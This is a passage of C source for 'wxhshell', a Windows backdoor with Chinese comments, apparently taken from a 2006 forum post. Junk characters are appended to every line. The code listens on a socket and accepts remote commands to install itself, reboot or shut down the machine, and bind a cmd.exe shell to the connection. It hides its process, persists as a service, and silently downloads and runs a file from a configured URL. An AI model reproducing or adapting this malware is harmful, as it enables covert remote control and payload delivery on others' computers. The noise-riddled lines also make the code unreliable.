  } /=bg(?nX  
  else { *l[;g  
_V`Gmy[]p  
    switch(cmd[0]) { RvPC7,vh  
  }H4Z726  
  // 帮助 Rn-RMD{dh  
  case '?': { LT3ViCZ-n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RN%*3{-  
    break; ,'m<YTF  
  } *"pf3x6  
  // 安装 #H@rb  
  case 'i': {  H?(I-vO  
    if(Install()) &7YTz3aj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C& QT-|  
    else [0(+E2/:2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a\Ond#1p  
    break; d}.*hgk  
    } jxU z-U-  
  // 卸载 l?N|Gj;ZFZ  
  case 'r': { Nn_n@K  
    if(Uninstall()) 4{s3S2f =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D# "ppa}  
    else Z7X_U` Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wewYlm5@  
    break; VNmQ'EuV}2  
    } 5IPZ;  
  // 显示 wxhshell 所在路径 !Cpy )D(  
  case 'p': { x@ZxV*T^  
    char svExeFile[MAX_PATH]; kyFq  
    strcpy(svExeFile,"\n\r"); (0=e ,1 n  
      strcat(svExeFile,ExeFile); vncak  
        send(wsh,svExeFile,strlen(svExeFile),0); /@<&{_sybp  
    break; 'w8k*@cQ  
    } U '#Xwax  
  // 重启 <&+\X6w[  
  case 'b': { Y|NANjEAfm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s 9Y'MQo*  
    if(Boot(REBOOT)) /2!Wy6 p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5VU 5kiCt  
    else { E8Jy!8/X9T  
    closesocket(wsh); ?J<V-,i  
    ExitThread(0); .FarKW  
    } l1&NU'WW  
    break; )e$}sw{t  
    } MrW#~S|ED  
  // 关机 d%y)/5  
  case 'd': { =q%Q^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b6FC  
    if(Boot(SHUTDOWN)) }J~ d6m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<J1bH1n3  
    else { _7h:NLd  
    closesocket(wsh); g8JO/s5xV  
    ExitThread(0); <@DF0x!  
    } O]>FNsh!  
    break; LovVJ^TD0i  
    } ^Lx(if WJ  
  // 获取shell ,co~@a@9  
  case 's': { &X^ -|7~N  
    CmdShell(wsh); /YP,Wfd%  
    closesocket(wsh); BP&T|s  
    ExitThread(0); ]5V=kNu i  
    break; h&t/ L  
  } o1m+4.-  
  // 退出 5cv&`h8uo_  
  case 'x': { 6%hr]>L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7wivu*0  
    CloseIt(wsh); Md4hd#z  
    break; HinPO  
    } m zh8<w?ns  
  // 离开 {<~oa+"  
  case 'q': { $S_xrrE#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M x/G^yO9  
    closesocket(wsh); VO (KQx  
    WSACleanup(); }=dUASL  
    exit(1); &%@b;)]J  
    break; B#>7;xy>  
        } qHZ!~Kq,"'  
  } ^ZxT0oaL  
  } w)# Lu/  
v0D~zV"<y  
  // 提示信息 ; i)NP X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'F\@KE -d  
} 5Iql%~_x  
  } K}vP0O}  
DLigpid  
  return; "Je*70LG#  
} fEdp^oVg  
eSqKXmH[m  
// shell模块句柄 +b =X~>vZ  
int CmdShell(SOCKET sock) eucacXiZ  
{ N(6Q`zs  
STARTUPINFO si; >1}RiOd3  
ZeroMemory(&si,sizeof(si)); 4"om;+\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I%^Bl:M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K1th>!JW'  
PROCESS_INFORMATION ProcessInfo; 6n|R<DO%\  
char cmdline[]="cmd"; eK=W'cNu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o9<)rUy  
  return 0; ,P%a0\  
} {Wi)/B}  
>/r^l)`9_f  
// 自身启动模式 Oc Gg'R7  
int StartFromService(void) rZij[6]Y^  
{ % `4\ 8H`  
typedef struct s=Cu-.~L  
{ *%3%Zj,{  
  DWORD ExitStatus; 'ie+/O@G  
  DWORD PebBaseAddress; ?~%Go  
  DWORD AffinityMask; agbG)t0  
  DWORD BasePriority; aUGRFK_6$  
  ULONG UniqueProcessId; E*sQ|" g  
  ULONG InheritedFromUniqueProcessId; jc$gy`,F  
}   PROCESS_BASIC_INFORMATION; "^Ax}Jr  
ajy +%sXf=  
PROCNTQSIP NtQueryInformationProcess; T3_3k. ,|  
sp-){k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lpy( un  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; > [%ITqA$  
T{USzMj  
  HANDLE             hProcess; R_vF$X'Ow  
  PROCESS_BASIC_INFORMATION pbi; \y7kb  
;kX:k~,]}>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SHAC(3o /e  
  if(NULL == hInst ) return 0; Rk8oshS+2  
QY^v*+lr\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >" &&,~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mRECd Gst  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6EX_IDb  
;8~tt I  
  if (!NtQueryInformationProcess) return 0; < Z>p1S  
nNEIwlj;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yUyx&Y/  
  if(!hProcess) return 0; WZ A8D0[  
7m<;"e)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 38gHM9T xh  
G-DvM6T  
  CloseHandle(hProcess); z6Xn9  
DNyU]+\L[l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Edp%z"J;C  
if(hProcess==NULL) return 0; ,&q Q[i  
"!AbH<M;@  
HMODULE hMod; %3@a|#g  
char procName[255];  |Ok=aV7  
unsigned long cbNeeded; oIJ.Tv@N(  
< %t$0'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >!gW]{  
wn&5Ul9Elb  
  CloseHandle(hProcess); UNC%<=  
ju8DmC5  
if(strstr(procName,"services")) return 1; // 以服务启动 x\R%hGt  
\Wn0,%x2  
  return 0; // 注册表启动 $Lc-}m9n  
} }jI=*  
rIhe}1  
// 主模块 }vXf}2C  
int StartWxhshell(LPSTR lpCmdLine) R#\o*Ta  
{ k ^:+Pp  
  SOCKET wsl; &~ .n}h&  
BOOL val=TRUE;  &$ x1^  
  int port=0; !D!1%@ e  
  struct sockaddr_in door; ,WKWin  
 9EU0R H  
  if(wscfg.ws_autoins) Install(); s6YnNJ,SK  
{Rv0@)P$  
port=atoi(lpCmdLine); XZew$Om[  
*;0Ods+IcY  
if(port<=0) port=wscfg.ws_port; ,QZNH?Cp/  
xV+cX*4h  
  WSADATA data; q Q/<\6Sl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *@-a{T}  
AnD#k ]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   # VAL\Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i uGly~  
  door.sin_family = AF_INET; 8ED}!;ZU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Es^=&2 ''  
  door.sin_port = htons(port); t91z<Y|  
{*NM~yQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { upc-Qvk  
closesocket(wsl); #FwTV@  
return 1; h)o5j-M>4  
} G,,7.%eib=  
a?NoNv)&  
  if(listen(wsl,2) == INVALID_SOCKET) { =kiDW6 JJU  
closesocket(wsl); 7FYq6wi  
return 1; vk K8D#K  
} *`WD/fG  
  Wxhshell(wsl); :%2uZ/cG(  
  WSACleanup(); ?Dn 6  
k "Qr  
return 0; v*3tqT(%  
`}o{o  
} tsys</E&  
G{!adBna  
// 以NT服务方式启动 #BOLq`9 f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rWS],q=c  
{ }48 o{\  
DWORD   status = 0; ])vWvNx  
  DWORD   specificError = 0xfffffff; 4Mr)~f rc  
0\tdxi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TMAart; <  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L8.u7(-#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zYZ^/7)  
  serviceStatus.dwWin32ExitCode     = 0; ^3 6oqe{  
  serviceStatus.dwServiceSpecificExitCode = 0; hI}rW^o^  
  serviceStatus.dwCheckPoint       = 0; Q!`  
  serviceStatus.dwWaitHint       = 0; )ipTm{  
AY)R2> fW%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z.6I6IfL\L  
  if (hServiceStatusHandle==0) return; j@778fvM\t  
0J5IO|1M  
status = GetLastError(); p/4}SU  
  if (status!=NO_ERROR) Q?WgGE4>  
{ ELa:yIl0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JM>4m)h#  
    serviceStatus.dwCheckPoint       = 0; >DkRl  
    serviceStatus.dwWaitHint       = 0; U!D\Vd  
    serviceStatus.dwWin32ExitCode     = status; !`qw" i  
    serviceStatus.dwServiceSpecificExitCode = specificError; >@+ r|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "IMq +  
    return; $QC^hC  
  } /vrjg)fer  
J,,+JoD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yh{Wuz=T  
  serviceStatus.dwCheckPoint       = 0; 3+tr_psH  
  serviceStatus.dwWaitHint       = 0; m`B .3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); US2Tdmy@05  
} &?(472<f**  
@mRda %qR  
// 处理NT服务事件,比如:启动、停止 v#ERXIrf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I?#B_R#  
{ DFN  
switch(fdwControl) EhK~S(r^  
{ .N~YVul[a*  
case SERVICE_CONTROL_STOP: 6SVh6o@]  
  serviceStatus.dwWin32ExitCode = 0; Ps=<@,dks  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0{Bhr12V  
  serviceStatus.dwCheckPoint   = 0; 6e q`/~#  
  serviceStatus.dwWaitHint     = 0; c,FhI~>R  
  { D4;6}gRC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l>{+X )  
  } (rB?@:zN  
  return; OJTEvb6nPg  
case SERVICE_CONTROL_PAUSE: q%\rj?U_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jdW#; ]7+y  
  break; yr, Oq~e  
case SERVICE_CONTROL_CONTINUE: w W1>#F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !dZpV~g0  
  break; a/s6|ri`0  
case SERVICE_CONTROL_INTERROGATE: ; +%|!~  
  break; O$$$1VHYo  
}; NUb:5tL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +8eW/Bs@2  
} l.AG^b  
i48Tb7Rx~n  
// 标准应用程序主函数 ~ s# !\Ye  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ow@1.5WL+  
{ C Y K W4  
[ (eO_I5ep  
// 获取操作系统版本 Qe;j_ BH  
OsIsNt=GetOsVer(); ptvM>zw'~g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BzyzOtBp3L  
&.`/ln  
  // 从命令行安装 n=tg{_9f%  
  if(strpbrk(lpCmdLine,"iI")) Install(); <'l;j"&lp  
(14J~MDB  
  // 下载执行文件 -Ka0B={Z  
if(wscfg.ws_downexe) { dd|/I1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T*i rCe  
  WinExec(wscfg.ws_filenam,SW_HIDE); w$)E#|i  
} 6z>Zm1h  
(25v7 Y ]  
if(!OsIsNt) { 69K*]s  
// 如果时win9x,隐藏进程并且设置为注册表启动 aVbv.>  
HideProc(); 9_5tA'Q  
StartWxhshell(lpCmdLine); Wzx Dnd<B  
} 50J"cGs~  
else Q?"-[6[v  
  if(StartFromService()) itmQH\9 8  
  // 以服务方式启动 +pMjm&CF  
  StartServiceCtrlDispatcher(DispatchTable); Fm,} sP"Qx  
else Xh*p\ $  
  // 普通方式启动 n]]!:jFC  
  StartWxhshell(lpCmdLine); ;zZGV4Qc~  
{<}kqn83sT  
return 0; Ow7}&\;^-  
}
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只看该作者 1 发表于: 2006-10-10
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